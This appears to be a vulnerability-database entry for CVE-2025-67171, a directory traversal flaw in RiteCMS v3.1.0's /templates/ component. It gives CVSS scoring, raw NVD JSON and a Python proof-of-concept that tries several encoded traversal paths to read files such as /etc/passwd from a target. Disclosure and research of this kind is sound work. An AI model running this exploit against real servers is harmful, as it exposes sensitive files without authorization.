Security Vulnerability Report
中文
CVE-2025-67171 CVSS 7.5 HIGH

CVE-2025-67171

Published: 2025-12-17 19:16:13
Last Modified: 2025-12-18 19:18:40

Description

Incorrect access control in the /templates/ component of RiteCMS v3.1.0 allows attackers to access sensitive files via directory traversal.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ritecms:ritecms:3.1.0:*:*:*:*:*:*:* - VULNERABLE
RiteCMS v3.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-67171 PoC - RiteCMS v3.1.0 Directory Traversal # Target: RiteCMS /templates/ component # Vulnerability: Incorrect Access Control leading to Path Traversal def exploit_directory_traversal(target_url, file_path): """ Exploit directory traversal to read sensitive files Args: target_url: Base URL of RiteCMS installation file_path: Path to file to read (e.g., ../../../../etc/passwd) """ # Try different path traversal patterns traversal_patterns = [ f"/templates/{file_path}", f"/templates/..%2f..%2f..%2f..%2f{file_path}", f"/templates/....//....//....//....//{file_path}" ] for pattern in traversal_patterns: try: full_url = target_url.rstrip('/') + pattern response = requests.get(full_url, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success with pattern: {pattern}") print(f"[+] File content:\n{response.text}") return True except requests.RequestException as e: print(f"[-] Error with pattern {pattern}: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://target.com ../../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Attempting to read: {file_to_read}") exploit_directory_traversal(target, file_to_read)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67171", "sourceIdentifier": "[email protected]", "published": "2025-12-17T19:16:13.280", "lastModified": "2025-12-18T19:18:40.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the /templates/ component of RiteCMS v3.1.0 allows attackers to access sensitive files via directory traversal."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ritecms:ritecms:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "F5E54D75-1861-4968-8494-335BF8C33E6F"}]}]}], "references": [{"url": "https://github.com/handylulu/RiteCMS/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67171", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}